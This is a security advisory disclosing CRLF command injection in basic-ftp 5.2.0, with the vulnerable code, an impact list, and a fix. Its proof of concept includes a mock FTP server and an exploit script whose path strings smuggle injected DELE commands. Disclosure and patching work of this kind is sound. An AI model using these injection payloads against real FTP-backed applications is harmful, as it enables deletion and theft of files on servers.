basic-ftp has FTP Command Injection via CRLF

Summary

basic-ftp version 5.2.0 allows FTP command injection via CRLF sequences (\r\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \r\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.

Affected product

Vulnerability details

• CWE: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
• CVSS 3.1: 8.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
• Affected component: dist/Client.js, all path-handling methods via protectWhitespace() and send()

The vulnerability exists because of two interacting code patterns:

1. Inadequate path sanitization in protectWhitespace() (line 677):

async protectWhitespace(path) {
    if (!path.startsWith(" ")) {
        return path;  // No sanitization of \r\n characters
    }
    const pwd = await this.pwd();
    const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
    return absolutePathPrefix + path;
}

This function only handles leading whitespace. It does not strip or reject \r (0x0D) or \n (0x0A) characters anywhere in the path string.

2. Direct socket write in send() (FtpContext.js line 177):

send(command) {
    this._socket.write(command + "\r\n", this.encoding);
}

The send() method appends \r\n to the command and writes directly to the TCP socket. If the command string already contains \r\n sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.

Affected methods (all call protectWhitespace() → send()):

• cd(path) → CWD ${path}
• remove(path) → DELE ${path}
• list(path) → LIST ${path}
• downloadTo(localPath, remotePath) → RETR ${remotePath}
• uploadFrom(localPath, remotePath) → STOR ${remotePath}
• rename(srcPath, destPath) → RNFR ${srcPath} / RNTO ${destPath}
• removeDir(path) → RMD ${path}

Technical impact

An attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:

1. Arbitrary file deletion: Inject DELE /critical-file to delete files on the FTP server
2. Directory manipulation: Inject MKD or RMD commands to create/remove directories
3. File exfiltration: Inject RETR commands to trigger downloads of unintended files
4. Server command execution: On FTP servers supporting SITE EXEC, inject system commands
5. Session hijacking: Inject USER/PASS commands to re-authenticate as a different user
6. Service disruption: Inject QUIT to terminate the FTP session unexpectedly

The attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server.

Proof of concept

Prerequisites:

mkdir basic-ftp-poc && cd basic-ftp-poc
npm init -y
npm install basic-ftp@5.2.0

Mock FTP server (ftp-server-mock.js):

const net = require('net');
const server = net.createServer(conn => {
  console.log('[+] Client connected');
  conn.write('220 Mock FTP\r\n');
  let buffer = '';
  conn.on('data', data => {
    buffer += data.toString();
    const lines = buffer.split('\r\n');
    buffer = lines.pop();
    for (const line of lines) {
      if (!line) continue;
      console.log('[CMD] ' + JSON.stringify(line));
      if (line.startsWith('USER')) conn.write('331 OK\r\n');
      else if (line.startsWith('PASS')) conn.write('230 Logged in\r\n');
      else if (line.startsWith('FEAT')) conn.write('211 End\r\n');
      else if (line.startsWith('TYPE')) conn.write('200 OK\r\n');
      else if (line.startsWith('PWD'))  conn.write('257 "/"\r\n');
      else if (line.startsWith('OPTS')) conn.write('200 OK\r\n');
      else if (line.startsWith('STRU')) conn.write('200 OK\r\n');
      else if (line.startsWith('CWD'))  conn.write('250 OK\r\n');
      else if (line.startsWith('DELE')) conn.write('250 Deleted\r\n');
      else if (line.startsWith('QUIT')) { conn.write('221 Bye\r\n'); conn.end(); }
      else conn.write('200 OK\r\n');
    }
  });
});
server.listen(2121, () => console.log('[*] Mock FTP on port 2121'));

Exploit (poc.js):

const ftp = require('basic-ftp');

async function exploit() {
  const client = new ftp.Client();
  client.ftp.verbose = true;
  try {
    await client.access({
      host: '127.0.0.1',
      port: 2121,
      user: 'anonymous',
      password: 'anonymous'
    });

    // Attack 1: Inject DELE command via cd()
    // Intended: CWD harmless.txt
    // Actual:   CWD harmless.txt\r\nDELE /important-file.txt
    const maliciousPath = "harmless.txt\r\nDELE /important-file.txt";
    console.log('\n=== Attack 1: DELE injection via cd() ===');
    try { await client.cd(maliciousPath); } catch(e) {}

    // Attack 2: Double DELE via remove()
    const maliciousPath2 = "decoy.txt\r\nDELE /secret-data.txt";
    console.log('\n=== Attack 2: DELE injection via remove() ===');
    try { await client.remove(maliciousPath2); } catch(e) {}

  } finally {
    client.close();
  }
}
exploit();

Running the PoC:

# Terminal 1: Start mock FTP server
node ftp-server-mock.js

# Terminal 2: Run exploit
node poc.js

Expected output on mock server:

"OPTS UTF8 ON"
"USER anonymous"
"PASS anonymous"
"FEAT"
"TYPE I"
"STRU F"
"OPTS UTF8 ON"
"CWD harmless.txt"
"DELE /important-file.txt"   <-- injected from cd()
"DELE decoy.txt"
"DELE /secret-data.txt"      <-- injected from remove()
"QUIT"

This command trace was reproduced against the published basic-ftp@5.2.0 package on Linux with a local mock FTP server. The injected DELE commands are received as distinct FTP commands, confirming that CRLF inside path parameters is not neutralized before socket write.

Mitigation

Immediate workaround: Sanitize all path inputs before passing them to basic-ftp:

function sanitizeFtpPath(path) {
  if (/[\r\n]/.test(path)) {
    throw new Error('Invalid FTP path: contains control characters');
  }
  return path;
}

// Usage
await client.cd(sanitizeFtpPath(userInput));

Recommended fix for basic-ftp: The protectWhitespace() function (or a new validation layer) should reject or strip \r and \n characters from all path inputs:

async protectWhitespace(path) {
    // Reject CRLF injection attempts
    if (/[\r\n\0]/.test(path)) {
        throw new Error('Invalid path: contains control characters');
    }
    if (!path.startsWith(" ")) {
        return path;
    }
    const pwd = await this.pwd();
    const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
    return absolutePathPrefix + path;
}

References

• npm package: basic-ftp
• GitHub repository
• Vulnerable source: Client.js protectWhitespace()
• Vulnerable source: FtpContext.js send()
• CWE-93: Improper Neutralization of CRLF Sequences
• OWASP: CRLF Injection